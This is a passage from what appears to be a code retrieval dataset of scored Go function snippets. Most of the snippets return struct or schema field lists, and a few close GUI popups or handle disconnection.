(t Type) Fields() []string {\n\tvar f []string\n\tfor i := 0; i < t.NumField(); i++ {\n\t\tname := t.Field(i).Name\n\t\tif name[0] == strings.ToUpper(name)[0] {\n\t\t\tf = append(f, name)\n\t\t}\n\t}\n\treturn f\n}", "title": "" }, { "docid": "3d7235f494067d468533664bcf67aa3a", "score": "0.49644452", "text": "func (t *Type) FieldSlice() []*Field {\n\treturn t.Fields().Slice()\n}", "title": "" }, { "docid": "ab50f6204e42721120776015f4efd39c", "score": "0.49513727", "text": "func (o *IncidentSearchResponseFacetsData) GetFields() []IncidentSearchResponsePropertyFieldFacetData {\n\tif o == nil || o.Fields == nil {\n\t\tvar ret []IncidentSearchResponsePropertyFieldFacetData\n\t\treturn ret\n\t}\n\treturn o.Fields\n}", "title": "" }, { "docid": "f76eb41fed7b496183d3002cff7cc6bb", "score": "0.49478808", "text": "func (object Object) Fields() []string {\n\tfields := make([]string, len(object))\n\tindex := 0\n\tfor name := range object {\n\t\tfields[index] = name\n\t\tindex++\n\t}\n\tsort.Strings(fields)\n\treturn fields\n}", "title": "" }, { "docid": "6b1eadd9694cc23821fb02acffa6fecc", "score": "0.49398074", "text": "func (ft *Features) List() (out []string) {\n\tv := reflect.ValueOf(ft).Elem()\n\tvType := v.Type()\n\tfor i := 0; i < v.NumField(); i++ {\n\t\tout = append(out, vType.Field(i).Name)\n\t}\n\treturn out\n}", "title": "" }, { "docid": "cd96974f31912b159950719dad3d5122", "score": "0.490472", "text": "func (m *DeviceMutation) Fields() []string {\n\tfields := make([]string, 0, 1)\n\tif m._Dname != nil {\n\t\tfields = append(fields, device.FieldDname)\n\t}\n\treturn fields\n}", "title": "" }, { "docid": "2d9596daf52b0dc9f5c239f56c8a8518", "score": "0.49002424", "text": "func (attr *Attribute) Fields() []string {\n\treturn strings.Fields(attr.Text())\n}", "title": "" }, { "docid": "cf3b5c57ce0064489f0d2ba4d419b85d", "score": "0.4898988", "text": "func (c *Config) GetFields() []string {\n\tvar names []string\n\tfor k := range c.fields.dict() {\n\t\tnames = append(names, k)\n\t}\n\treturn names\n}", "title": "" }, { "docid": "dfdea9555e8b100d1ba1483b58ff0e86", "score": "0.48935506", "text": "func (ga *groupingAggregator) Fields() []field.Name {\n\tlength := len(ga.fields)\n\tif length == 0 {\n\t\treturn nil\n\t}\n\trs := make([]field.Name, length)\n\tidx := 0\n\tfor fieldName := range ga.fields {\n\t\trs[idx] = fieldName\n\t\tidx++\n\t}\n\treturn rs\n}", "title": "" }, { "docid": "da82b55f932174b51620b66096b551b2", "score": "0.48761714", "text": "func (*DiscoveryV1) NewListFieldsOptions(environmentID string, collectionIds []string) *ListFieldsOptions {\n\treturn &ListFieldsOptions{\n\t\tEnvironmentID: core.StringPtr(environmentID),\n\t\tCollectionIds: collectionIds,\n\t}\n}", "title": "" }, { "docid": "de191950c08d2b7a376c533bce24264c", "score": "0.48653546", "text": "func (typeInfo TypeInfo) GetFields() []FieldInfo {\n\tvalues := make([]FieldInfo, 0, len(typeInfo.fieldInfoListCache))\n\tfor _, value := range typeInfo.fieldInfoListCache {\n\t\tvalues = append(values, value)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "2c1c7e8943065de62d1915789c654468", "score": "0.48565528", "text": "func GetFieldNames(obj interface{}, tag string) []string {\n\tt := reflect.TypeOf(obj)\n\tc := t.NumField()\n\n\tnames := make([]string, 0, c)\n\n\tfor i := 0; i < c; i++ {\n\t\tif name, omit := GetFieldName(tag, t.Field(i)); !omit {\n\t\t\tnames = append(names, name)\n\t\t}\n\t}\n\n\treturn names\n}", "title": "" }, { "docid": "0dcb7adaf296d85a5369db902c1af3e1", "score": "0.485485", "text": "func (Student) Fields() []ent.Field {\n\treturn []ent.Field{\n\t\tfield.Int64(\"id\"),\n\t\tfield.String(\"name\"),\n\t\tfield.Int(\"age\"),\n\t}\n}", "title": "" }, { "docid": "e5b307e51f2138a13fcc653ac98a6873", "score": "0.48458934", "text": "func (t *Tuple) Fields() (flds []interface{}) {\n\tif t != nil {\n\t\tflds = (*t).Flds\n\t}\n\n\treturn flds\n}", "title": "" }, { "docid": "6a8d63176ea64b915f758c33a30180ba", "score": "0.4841969", "text": "func (c *SpreadsheetsValuesBatchGetByDataFilterCall) Fields(s ...googleapi.Field) *SpreadsheetsValuesBatchGetByDataFilterCall {\n\tc.urlParams_.Set(\"fields\", googleapi.CombineFields(s))\n\treturn c\n}", "title": "" }, { "docid": "3aef7be558a27b919409abb853f3185d", "score": "0.48026758", "text": "func (object Object) GetList(field string) ([]interface{}, error) {\n\tthing, ok := object[field]\n\tif !ok {\n\t\treturn make([]interface{}, 0), nil\n\t}\n\tslice := reflect.ValueOf(thing)\n\tif slice.Kind() == reflect.Slice {\n\t\tresult := make([]interface{}, slice.Len())\n\t\tfor i := 0; i < slice.Len(); i++ {\n\t\t\tresult[i] = slice.Index(i).Interface()\n\t\t}\n\t\treturn result, nil\n\t}\n\treturn nil, fmt.Errorf(\"field must be a list\")\n}", "title": "" }, { "docid": "94f95c95eaf34400415afe7f2cb1c54e", "score": "0.4789068", "text": "func (o *ListItem) GetFields() AnyOfmicrosoftGraphFieldValueSet {\n\tif o == nil || o.Fields == nil {\n\t\tvar ret AnyOfmicrosoftGraphFieldValueSet\n\t\treturn ret\n\t}\n\treturn *o.Fields\n}", "title": "" }, { "docid": "3be2e26a6938a2d7f889d0f622a9d48d", "score": "0.47702032", "text": "func (q *Q) Fields(i interface{}) *FieldSelector {\n\treturn Fields(i).SetDialect(q.d)\n}", "title": "" }, { "docid": "854ddf8016ecb5651ed95cb5378d3944", "score": "0.47611", "text": "func (dm *datasetManager) ListDatasets(ctx context.Context, request *datacatalog.ListDatasetsRequest) (*datacatalog.ListDatasetsResponse, error) {\n\terr := validators.ValidateListDatasetsRequest(request)\n\tif err != nil {\n\t\tlogger.Warningf(ctx, \"Invalid list datasets request %v, err: %v\", request, err)\n\t\tdm.systemMetrics.validationErrorCounter.Inc(ctx)\n\t\treturn nil, err\n\t}\n\n\t// Get the list inputs\n\tlistInput, err := transformers.FilterToListInput(ctx, common.Dataset, request.GetFilter())\n\tif err != nil {\n\t\tlogger.Warningf(ctx, \"Invalid list datasets request %v, err: %v\", request, err)\n\t\tdm.systemMetrics.validationErrorCounter.Inc(ctx)\n\t\treturn nil, err\n\t}\n\n\terr = transformers.ApplyPagination(request.Pagination, &listInput)\n\tif err != nil {\n\t\tlogger.Warningf(ctx, \"Invalid pagination options in list datasets request %v, err: %v\", request, err)\n\t\tdm.systemMetrics.validationErrorCounter.Inc(ctx)\n\t\treturn nil, err\n\t}\n\n\t// Perform the list with the dataset and listInput filters\n\tdatasetModels, err := dm.repo.DatasetRepo().List(ctx, listInput)\n\tif err != nil {\n\t\tlogger.Errorf(ctx, \"Unable to list Datasets err: %v\", err)\n\t\tdm.systemMetrics.listFailureCounter.Inc(ctx)\n\t\treturn nil, err\n\t}\n\n\t// convert returned models into entity list\n\tdatasetList := make([]*datacatalog.Dataset, len(datasetModels))\n\ttransformerErrs := make([]error, 0)\n\tfor idx, datasetModel := range datasetModels {\n\t\tdataset, err := transformers.FromDatasetModel(datasetModel)\n\t\tif err != nil {\n\t\t\tlogger.Errorf(ctx, \"Unable to transform Dataset %+v err: %v\", dataset.Id, err)\n\t\t\ttransformerErrs = append(transformerErrs, err)\n\t\t}\n\n\t\tdatasetList[idx] = dataset\n\t}\n\n\tif len(transformerErrs) > 0 {\n\t\tdm.systemMetrics.listFailureCounter.Inc(ctx)\n\t\treturn nil, errors.NewCollectedErrors(codes.Internal, transformerErrs)\n\t}\n\n\ttoken := strconv.Itoa(listInput.Offset + len(datasetList))\n\n\tlogger.Debugf(ctx, \"Listed %v matching datasets successfully\", len(datasetList))\n\tdm.systemMetrics.listSuccessCounter.Inc(ctx)\n\treturn &datacatalog.ListDatasetsResponse{Datasets: datasetList, NextToken: token}, nil\n}", "title": "" }, { "docid": "921d9532606da3424ae843945e022e29", "score": "0.475798", "text": "func (Kid) Fields() []ent.Field {\n\treturn []ent.Field{\n\t\tfield.Int(\"Amount\").Unique(),\n\t}\n}", "title": "" }, { "docid": "08ff29f2b10bb0a97f2e1c5caa9625be", "score": "0.4750972", "text": "func (c *TimeseriesDescriptorsListCall) Fields(s ...googleapi.Field) *TimeseriesDescriptorsListCall {\n\tc.opt_[\"fields\"] = googleapi.CombineFields(s)\n\treturn c\n}", "title": "" }, { "docid": "f6d056197a275c02476bd125b3b08a3a", "score": "0.47480366", "text": "func (t DatasetTable) List(\n\tdb DBi,\n\tquery string,\n\targs ...interface{},\n) (\n\tl []Dataset,\n\terr error,\n) {\n\trows, err := db.Query(query, args...)\n\tif err != nil {\n\t\treturn l, errors.Unexpected.\n\t\t\tWrap(\"Dataset.List failed: %w\", err).\n\t\t\tAlert()\n\t}\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\trow, err := t.Scan(rows)\n\t\tif err != nil {\n\t\t\treturn l, err\n\t\t}\n\t\tl = append(l, row)\n\t}\n\n\tif err := rows.Err(); err != nil {\n\t\treturn l, errors.Unexpected.\n\t\t\tWrap(\"Dataset.List iteration failed: %w\", err).\n\t\t\tAlert()\n\t}\n\n\treturn l, nil\n}", "title": "" }, { "docid": "944e25dc6f8e3de27b9d3406c014bb52", "score": "0.47467917", "text": "func (c *TimeseriesDescriptorsListCall) Fields(s ...googleapi.Field) *TimeseriesDescriptorsListCall {\n\tc.urlParams_.Set(\"fields\", googleapi.CombineFields(s))\n\treturn c\n}", "title": "" }, { "docid": "42fc507fde9651191caad27cecfbd73e", "score": "0.47446957", "text": "func (this *Sql) Fields(filed string) *Sql {\n\tthis.fieldsSql = this.safeInSql(filed, 1)\n\treturn this\n}", "title": "" }, { "docid": "dbefdd9b9dd0b286b6932d2f15efcf2f", "score": "0.47441304", "text": "func (m *DrugMutation) Fields() []string {\n\tfields := make([]string, 0, 1)\n\tif m.name != nil {\n\t\tfields = append(fields, drug.FieldName)\n\t}\n\treturn fields\n}", "title": "" }, { "docid": "4c90c856b2cb833144ed7faaa35222af", "score": "0.4740243", "text": "func (s *Siegfried) Fields() [][]string {\n\tret := make([][]string, len(s.ids))\n\tfor i, v := range s.ids {\n\t\tret[i] = v.Fields()\n\t}\n\treturn ret\n}", "title": "" }, { "docid": "241a308e4da4feecae1461cb5054aafd", "score": "0.4739396", "text": "func (k *KdjSt) Fields() []string {\n\treturn []string{\"LEN\", \"KDJV\", \"SMEAN\", \"BMEAN\", \"SL\", \"SH\", \"BL\", \"BH\"}\n}", "title": "" }, { "docid": "b264d1698364245ad6dce1072b65370c", "score": "0.47318256", "text": "func (m *BlogMutation) Fields() []string {\n\tfields := make([]string, 0, 1)\n\tif m.oid != nil {\n\t\tfields = append(fields, blog.FieldOid)\n\t}\n\treturn fields\n}", "title": "" }, { "docid": "ae2cbd94d3243da7055bcce653ea9644", "score": "0.4725274", "text": "func (fs *FeedFollowService) Fields() ([]string, error) {\n\tf, err := fs.client.getFields(fs.end)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"cannot get FeedFollow fields\")\n\t}\n\n\treturn f, nil\n}", "title": "" }, { "docid": "bbbb19cd27ce3efed62bdf1437909538", "score": "0.47225997", "text": "func NewFieldList(fields []Field) *ast.FieldList {\n\tl := &ast.FieldList{}\n\tl.List = make([]*ast.Field, len(fields))\n\tfor i, p := range fields {\n\t\tl.List[i] = &ast.Field{\n\t\t\tNames: newIdentList(p.FieldName),\n\t\t\tType: NewBasicLit(p.TypeName),\n\t\t}\n\t}\n\treturn l\n}", "title": "" }, { "docid": "2b83041d6cdacf69bc654bb976507827", "score": "0.47193095", "text": "func (s *DbRecorder) colList(withKeys bool) []string {\n\tnames := make([]string, 0, len(s.fields))\n\n\tfor _, f := range s.fields {\n\t\tif !withKeys && f.isKey {\n\t\t\tcontinue\n\t\t}\n\t\tnames = append(names, f.column)\n\t}\n\n\treturn names\n}", "title": "" }, { "docid": "08c818af9f82ef6c80a639c77d156fb3", "score": "0.47095132", "text": "func (Patient) Fields() []ent.Field {\n\treturn []ent.Field{\n\t\tfield.String(\"Idcard\"),\n\t\tfield.String(\"PatientName\"),\n\t\tfield.String(\"Address\"),\n\t\tfield.String(\"Congenital\"),\n\t\tfield.String(\"Allergic\"),\n\t}\n}", "title": "" }, { "docid": "93a87e5129de36f702faa92411553d32", "score": "0.4705602", "text": "func (ClinicalTrialMetadata) Fields() []ent.Field {\n\treturn []ent.Field{\n\t\tfield.String(\"tag_name\"),\n\t\tfield.String(\"tag_value\"),\n\t\tfield.String(\"use_case_code\").Default(\"default\"),\n\t}\n}", "title": "" }, { "docid": "a9b4f7168fa10e7a48519c348b0f8772", "score": "0.47008404", "text": "func (p *parser) fieldDeclList() {\n\tfor p.fieldDecl(); p.opt(token.SEMICOLON) && p.c != token.RBRACE; {\n\t\tp.fieldDecl()\n\t}\n}", "title": "" }, { "docid": "2a2c1ec490c0edc66fbd343d4af511da", "score": "0.46986678", "text": "func (m *PlaylistMutation) Fields() []string {\n\tfields := make([]string, 0, 4)\n\tif m.name != nil {\n\t\tfields = append(fields, playlist.FieldName)\n\t}\n\tif m.created != nil {\n\t\tfields = append(fields, playlist.FieldCreated)\n\t}\n\tif m.modified != nil {\n\t\tfields = append(fields, playlist.FieldModified)\n\t}\n\tif m.media_url != nil {\n\t\tfields = append(fields, playlist.FieldMediaURL)\n\t}\n\treturn fields\n}", "title": "" }, { "docid": "80db03d2c2354ce0e4c3fb10924b34b7", "score": "0.46872145", "text": "func (c FieldsCollection) DBDatas() *models.Field {\n\treturn c.MustGet(\"DBDatas\")\n}", "title": "" }, { "docid": "7793d7392a0fd6b5ff55272673a13032", "score": "0.46867207", "text": "func (m *ListItem) GetFields()(FieldValueSetable) {\n val, err := m.GetBackingStore().Get(\"fields\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.(FieldValueSetable)\n }\n return nil\n}", "title": "" }, { "docid": "74e2d000c3d5137df891b5d66cf0abaa", "score": "0.4686361", "text": "func (dbf *DBF) FieldNames() []string {\n\tnum := len(dbf.fields)\n\tnames := make([]string, num)\n\tfor i := 0; i < num; i++ {\n\t\tnames[i] = dbf.fields[i].FieldName()\n\t}\n\treturn names\n}", "title": "" }, { "docid": "ceeb8b02c1a0a984182ca55686735381", "score": "0.46834683", "text": "func TestListFormFields(t *testing.T) {\n\n\tmsg := \"TestListFormFields\"\n\tinFile := filepath.Join(samplesDir, \"form\", \"demo\", \"english.pdf\")\n\n\tcmd := cli.ListFormFieldsCommand([]string{inFile}, conf)\n\tif _, err := cli.Process(cmd); err != nil {\n\t\tt.Fatalf(\"%s %s: %v\\n\", msg, inFile, err)\n\t}\n}", "title": "" }, { "docid": "95259ff0f44784b6eb27dadd950c95e7", "score": "0.4681119", "text": "func (m *DNSDetectorMutation) Fields() []string {\n\tfields := make([]string, 0, 12)\n\tif m.created_at != nil {\n\t\tfields = append(fields, dnsdetector.FieldCreatedAt)\n\t}\n\tif m.updated_at != nil {\n\t\tfields = append(fields, dnsdetector.FieldUpdatedAt)\n\t}\n\tif m.status != nil {\n\t\tfields = append(fields, dnsdetector.FieldStatus)\n\t}\n\tif m.name != nil {\n\t\tfields = append(fields, dnsdetector.FieldName)\n\t}\n\tif m.owners != nil {\n\t\tfields = append(fields, dnsdetector.FieldOwners)\n\t}\n\tif m.receivers != nil {\n\t\tfields = append(fields, dnsdetector.FieldReceivers)\n\t}\n\tif m.timeout != nil {\n\t\tfields = append(fields, dnsdetector.FieldTimeout)\n\t}\n\tif m.interval != nil {\n\t\tfields = append(fields, dnsdetector.FieldInterval)\n\t}\n\tif m.description != nil {\n\t\tfields = append(fields, dnsdetector.FieldDescription)\n\t}\n\tif m.host != nil {\n\t\tfields = append(fields, dnsdetector.FieldHost)\n\t}\n\tif m.ips != nil {\n\t\tfields = append(fields, dnsdetector.FieldIps)\n\t}\n\tif m.servers != nil {\n\t\tfields = append(fields, dnsdetector.FieldServers)\n\t}\n\treturn fields\n}", "title": "" }, { "docid": "53a97f13f096eb20eb5a6fa83521efb2", "score": "0.46780258", "text": "func (client *Client) ListDataImportSQLType(request *ListDataImportSQLTypeRequest) (response *ListDataImportSQLTypeResponse, err error) {\n\tresponse = CreateListDataImportSQLTypeResponse()\n\terr = client.DoAction(request, response)\n\treturn\n}", "title": "" }, { "docid": "bc8ba2f4b66f222e6eb9feb2e0288cee", "score": "0.4675666", "text": "func GetFieldNames(i interface{}) (names []string) {\n\tif t := GetType(i); IsStruct(t) {\n\t\tfor j := 0; j < t.NumField(); j++ {\n\t\t\tf := t.Field(j)\n\t\t\tnames = append(names, f.Name)\n\t\t}\n\t}\n\treturn names\n}", "title": "" }, { "docid": "1d9d0b46c63f5fbef81499a3142e2dab", "score": "0.4672547", "text": "func (qp *QueryParser) Fields() []string {\n\treturn qp.fields\n}", "title": "" }, { "docid": "f00c2415d3eb02b63b32ea28028e42c2", "score": "0.466534", "text": "func (m *DepartmentMutation) Fields() []string {\n\tfields := make([]string, 0, 1)\n\tif m._Department_Name != nil {\n\t\tfields = append(fields, department.FieldDepartmentName)\n\t}\n\treturn fields\n}", "title": "" }, { "docid": "b7bdda4f9864ddd05ea6a419e77c238b", "score": "0.46650717", "text": "func (discovery *DiscoveryV1) ListFieldsWithContext(ctx context.Context, listFieldsOptions *ListFieldsOptions) (result *ListCollectionFieldsResponse, response *core.DetailedResponse, err error) {\n\terr = core.ValidateNotNil(listFieldsOptions, \"listFieldsOptions cannot be nil\")\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.ValidateStruct(listFieldsOptions, \"listFieldsOptions\")\n\tif err != nil {\n\t\treturn\n\t}\n\n\tpathParamsMap := map[string]string{\n\t\t\"environment_id\": *listFieldsOptions.EnvironmentID,\n\t}\n\n\tbuilder := core.NewRequestBuilder(core.GET)\n\tbuilder = builder.WithContext(ctx)\n\tbuilder.EnableGzipCompression = discovery.GetEnableGzipCompression()\n\t_, err = builder.ResolveRequestURL(discovery.Service.Options.URL, `/v1/environments/{environment_id}/fields`, pathParamsMap)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tfor headerName, headerValue := range listFieldsOptions.Headers {\n\t\tbuilder.AddHeader(headerName, headerValue)\n\t}\n\n\tsdkHeaders := common.GetSdkHeaders(\"discovery\", \"V1\", \"ListFields\")\n\tfor headerName, headerValue := range sdkHeaders {\n\t\tbuilder.AddHeader(headerName, headerValue)\n\t}\n\tbuilder.AddHeader(\"Accept\", \"application/json\")\n\n\tbuilder.AddQuery(\"version\", fmt.Sprint(*discovery.Version))\n\tbuilder.AddQuery(\"collection_ids\", strings.Join(listFieldsOptions.CollectionIds, \",\"))\n\n\trequest, err := builder.Build()\n\tif err != nil {\n\t\treturn\n\t}\n\n\tvar rawResponse map[string]json.RawMessage\n\tresponse, err = discovery.Service.Request(request, &rawResponse)\n\tif err != nil {\n\t\treturn\n\t}\n\tif rawResponse != nil {\n\t\terr = core.UnmarshalModel(rawResponse, \"\", &result, UnmarshalListCollectionFieldsResponse)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tresponse.Result = result\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "ba8ee22a8604a33a587aae38e8f7846f", "score": "0.46615073", "text": "func (c *SpreadsheetsGetByDataFilterCall) Fields(s ...googleapi.Field) *SpreadsheetsGetByDataFilterCall {\n\tc.urlParams_.Set(\"fields\", googleapi.CombineFields(s))\n\treturn c\n}", "title": "" }, { "docid": "468307b0f27a386601f820d4b127173f", "score": "0.4653741", "text": "func (c FieldsCollection) Datas() *models.Field {\n\treturn c.MustGet(\"Datas\")\n}", "title": "" }, { "docid": "865060bb21674828d4997e81353a3e77", "score": "0.46532488", "text": "func (u User) GetStructFields() []string {\r\n\r\n\tval := reflect.ValueOf(u)\r\n\tvar temp string\r\n\r\n\tvar listFields []string\r\n\tfor i := 0; i < val.Type().NumField(); i++ {\r\n\t\ttemp = val.Type().Field(i).Tag.Get(\"json\")\r\n\t\ttemp = strings.Replace(temp, \",omitempty\", \"\", -1)\r\n\t\tlistFields = append(listFields, temp)\r\n\t}\r\n\r\n\treturn listFields\r\n}", "title": "" }, { "docid": "3f24e6b40fe4ef320d818216ddaa02aa", "score": "0.46485525", "text": "func (c Client) ListDatasets(limit, offset int) ([]*registry.Dataset, error) {\n\tif c.cfg.Location == \"\" {\n\t\treturn nil, ErrNoRegistry\n\t}\n\n\tpage := util.NewPageFromOffsetAndLimit(offset, limit)\n\n\treq, err := http.NewRequest(\"GET\", fmt.Sprintf(\"%s/datasets?page=%d&pageSize=%d\", c.cfg.Location, page.Number, page.Size), nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\tres, err := c.httpClient.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tenv := struct {\n\t\tData []*registry.Dataset\n\t\tMeta struct {\n\t\t\tError string\n\t\t\tStatus string\n\t\t\tCode int\n\t\t}\n\t}{}\n\n\tif err := json.NewDecoder(res.Body).Decode(&env); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif res.StatusCode != http.StatusOK {\n\t\treturn nil, fmt.Errorf(\"error %d: %s\", res.StatusCode, env.Meta.Error)\n\t}\n\n\treturn env.Data, nil\n}", "title": "" }, { "docid": "2ccc53e2918f6acbf22cb2a909faa9b4", "score": "0.4633362", "text": "func (Company) Fields() []ent.Field {\r\n\treturn []ent.Field{\r\n\t\tfield.String(\"Name\").NotEmpty(),\r\n\t}\r\n}", "title": "" }, { "docid": "e006a3439820cfd66cf658d1be5759e5", "score": "0.4631153", "text": "func (c *ColumnFloatVector) FieldData() *schema.FieldData {\n\tfd := &schema.FieldData{\n\t\tType: schema.DataType_FloatVector,\n\t\tFieldName: c.name,\n\t}\n\n\tdata := make([]float32, 0, len(c.values)* c.dim)\n\n\tfor _, vector := range c.values {\n\t\tdata = append(data, vector...)\n\t}\n\n\tfd.Field = &schema.FieldData_Vectors{\n\t\tVectors: &schema.VectorField{\n\t\t\tDim: int64(c.dim),\n\t\t\t\n\t\t\tData: &schema.VectorField_FloatVector{\n\t\t\t\tFloatVector: &schema.FloatArray{\n\t\t\t\t\tData: data,\n\t\t\t\t},\n\t\t\t},\n\t\t\t\n\t\t},\n\t}\n\treturn fd\n}", "title": "" }, { "docid": "92505077308bb65f2ac8812377799855", "score": "0.46271437", "text": "func (c *MetricDescriptorsListCall) Fields(s ...googleapi.Field) *MetricDescriptorsListCall {\n\tc.opt_[\"fields\"] = googleapi.CombineFields(s)\n\treturn c\n}", "title": "" }, { "docid": "81ffcd9a75a4151ac0710290a11869c5", "score": "0.46262157", "text": "func (m *ClinicalTrialMetadataMutation) Fields() []string {\n\tfields := make([]string, 0, 3)\n\tif m.tag_name != nil {\n\t\tfields = append(fields, clinicaltrialmetadata.FieldTagName)\n\t}\n\tif m.tag_value != nil {\n\t\tfields = append(fields, clinicaltrialmetadata.FieldTagValue)\n\t}\n\tif m.use_case_code != nil {\n\t\tfields = append(fields, clinicaltrialmetadata.FieldUseCaseCode)\n\t}\n\treturn fields\n}", "title": "" }, { "docid": "0c2771f259c8171cbf4d33bcdf6870d9", "score": "0.4623094", "text": "func (Car) Fields() []ent.Field {\n\treturn []ent.Field{\n\t\tfield.String(\"model\"),\n\t}\n}", "title": "" }, { "docid": "1ce19b603eb79b330747573423f9d5d8", "score": "0.46182582", "text": "func (m *ServicesMutation) Fields() []string {\n\tfields := make([]string, 0, 2)\n\tif m.name != nil {\n\t\tfields = append(fields, services.FieldName)\n\t}\n\tif m.data != nil {\n\t\tfields = append(fields, services.FieldData)\n\t}\n\treturn fields\n}", "title": "" }, { "docid": "cc78458e666d304b54f3a9f61ee5bccd", "score": "0.46172872", "text": "func (Drug) Fields() []ent.Field {\n\treturn []ent.Field{\n\t\tfield.String(\"DrugName\").Unique(),\n\t\tfield.String(\"Howto\").Unique(),\n\t\tfield.String(\"Property\").Unique(),\n\t}\n}", "title": "" }, { "docid": "0755e59b4ca39c834a02dae9a10b6d57", "score": "0.4614917", "text": "func (m *DrugMutation) Fields() []string {\n\tfields := make([]string, 0, 1)\n\tif m._Drug_Name != nil {\n\t\tfields = append(fields, drug.FieldDrugName)\n\t}\n\treturn fields\n}", "title": "" }, { "docid": "dc143a8d839a348ae20ffb0b7e608abf", "score": "0.460309", "text": "func (Rank) Fields() []ent.Field {\n\treturn []ent.Field{\n\t\tfield.String(\"name\").\n\t\t\tUnique(),\n\t}\n}", "title": "" }, { "docid": "a2a0fa526e954bb503421e286de1a8a3", "score": "0.4599364", "text": "func (c *DetectionsListCall) Fields(s ...googleapi.Field) *DetectionsListCall {\n\tc.urlParams_.Set(\"fields\", googleapi.CombineFields(s))\n\treturn c\n}", "title": "" }, { "docid": "196d8b2fe484990a68416aee1603fa9f", "score": "0.4599346", "text": "func (m *CarMutation) Fields() []string {\n\tfields := make([]string, 0, 1)\n\tif m.name != nil {\n\t\tfields = append(fields, car.FieldName)\n\t}\n\treturn fields\n}", "title": "" }, { "docid": "7b3dc926e7bf702e6df5705b0ce20561", "score": "0.45992923", "text": "func Fields(pkg *packages.Package, file *ast.File, stype *ast.StructType) []*FieldType {\n\tff := []*FieldType{}\n\tfor _, f := range stype.Fields.List {\n\t\t// if there are no names, it's embedded\n\t\tif len(f.Names) == 0 {\n\t\t\tif stype0, file0, ok := ResolveTypeExpr(pkg, file, f.Type); ok {\n\t\t\t\tff = append(ff, Fields(pkg, file0, stype0)...)\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\tfor _, name := range f.Names {\n\t\t\tif !ast.IsExported(name.Name) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tft := FieldType{\n\t\t\t\tName: name.String(),\n\t\t\t\tType: f.Type,\n\t\t\t}\n\t\t\tif f.Doc != nil {\n\t\t\t\tft.Doc = f.Doc.Text()\n\t\t\t}\n\t\t\tif f.Comment != nil {\n\t\t\t\tft.Comment = f.Comment.Text()\n\t\t\t}\n\t\t\tif f.Tag != nil {\n\t\t\t\tft.Tag = f.Tag.Value\n\t\t\t}\n\t\t\tff = append(ff, &ft)\n\t\t}\n\t}\n\treturn ff\n}", "title": "" }, { "docid": "a7109bcae5a500d0dd86e4bf66334334", "score": "0.459858", "text": "func (c *MetricDescriptorsListCall) Fields(s ...googleapi.Field) *MetricDescriptorsListCall {\n\tc.urlParams_.Set(\"fields\", googleapi.CombineFields(s))\n\treturn c\n}", "title": "" }, { "docid": "664a561b75f8de8840e65c69bcf8a0f5", "score": "0.45982012", "text": "func (m *ToolMutation) Fields() []string {\n\tfields := make([]string, 0, 1)\n\tif m._Tool_Name != nil {\n\t\tfields = append(fields, tool.FieldToolName)\n\t}\n\treturn fields\n}", "title": "" } ]
1b262902294bfdd3aa8f00dd8bff284e
DisconnectPopup disconnects given popup typically the current one.
[ { "docid": "1892c890703f09eaa901deb664b04a44", "score": "0.848227", "text": "func (w *Window) DisconnectPopup(pop ki.Ki) {\n\tw.EventMgr.DisconnectAllEvents(pop, AllPris)\n\tki.SetParent(pop, nil) // don't redraw the popup anymore\n}", "title": "" } ]
[ { "docid": "85845ddf9aef37949dbde973f12cf512", "score": "0.83534306", "text": "func (w *Window) DisconnectPopup(pop ki.Ki) {\n\tw.DisconnectNode(pop)\n\tpop.SetParent(nil) // don't redraw the popup anymore\n\tw.Viewport.DrawIntoWindow()\n}", "title": "" }, { "docid": "e775cdb64a3a56822472fd97f5a04004", "score": "0.5894763", "text": "func (w *Window) ClosePopup(pop ki.Ki) bool {\n\tif pop != w.Popup {\n\t\treturn false\n\t}\n\tw.DisconnectPopup(pop)\n\tw.PopPopup(pop)\n\treturn true\n}", "title": "" }, { "docid": "5bd86abb494d5a7a3b9a3321901fbde3", "score": "0.56070656", "text": "func (w *Window) ClosePopup(pop ki.Ki) bool {\n\tif pop != w.CurPopup() {\n\t\treturn false\n\t}\n\tw.PopMu.Lock()\n\tif w.Popup == w.DelPopup {\n\t\tw.DelPopup = nil\n\t}\n\tw.DisconnectPopup(pop)\n\tpopped := w.PopPopup(pop)\n\tw.PopMu.Unlock()\n\tif popped {\n\t\tw.EventMgr.PopFocus()\n\t}\n\tw.UploadAllViewports()\n\treturn true\n}", "title": "" }, { "docid": "186d5f4170b38e6e201ad906f577395c", "score": "0.54016215", "text": "func (w *Window) PopPopup(pop ki.Ki) {\n\tgii, ok := pop.(Node2D)\n\tif ok {\n\t\tpvp := gii.AsViewport2D()\n\t\tif pvp != nil {\n\t\t\tpvp.DeletePopup()\n\t\t}\n\t}\n\tsz := len(w.PopupStack)\n\tif w.Popup == pop {\n\t\tif w.PopupStack == nil || sz == 0 {\n\t\t\tw.Popup = nil\n\t\t} else {\n\t\t\tw.Popup = w.PopupStack[sz-1]\n\t\t\tw.PopupStack = w.PopupStack[:sz-1]\n\t\t}\n\t\tw.PopFocus()\n\t} else {\n\t\tfor i := sz - 1; i >= 0; i-- {\n\t\t\tpp := w.PopupStack[i]\n\t\t\tif pp == pop {\n\t\t\t\tw.PopupStack = w.PopupStack[:i+copy(w.PopupStack[i:], w.PopupStack[i+1:])]\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\t// do nothing\n\t}\n\tw.FullUpdate()\n}", "title": "" }, { "docid": "56fc04197ee49480cbb5f0bfde768e2a", "score": "0.5335157", "text": "func Disconnect(g *gocui.Gui, v *gocui.View) error {\n\t// Unsubscribe\n\tsub.Unsubscribe()\n\tGetConn().Close()\n\treturn gocui.ErrQuit\n}", "title": "" }, { "docid": "f796b6c933d74966837ec3f0e285e5db", "score": "0.5298373", "text": "func (d *DiscoveryPlugin) PeerDisconnect(s libp2p.Session) {\n\tcid := 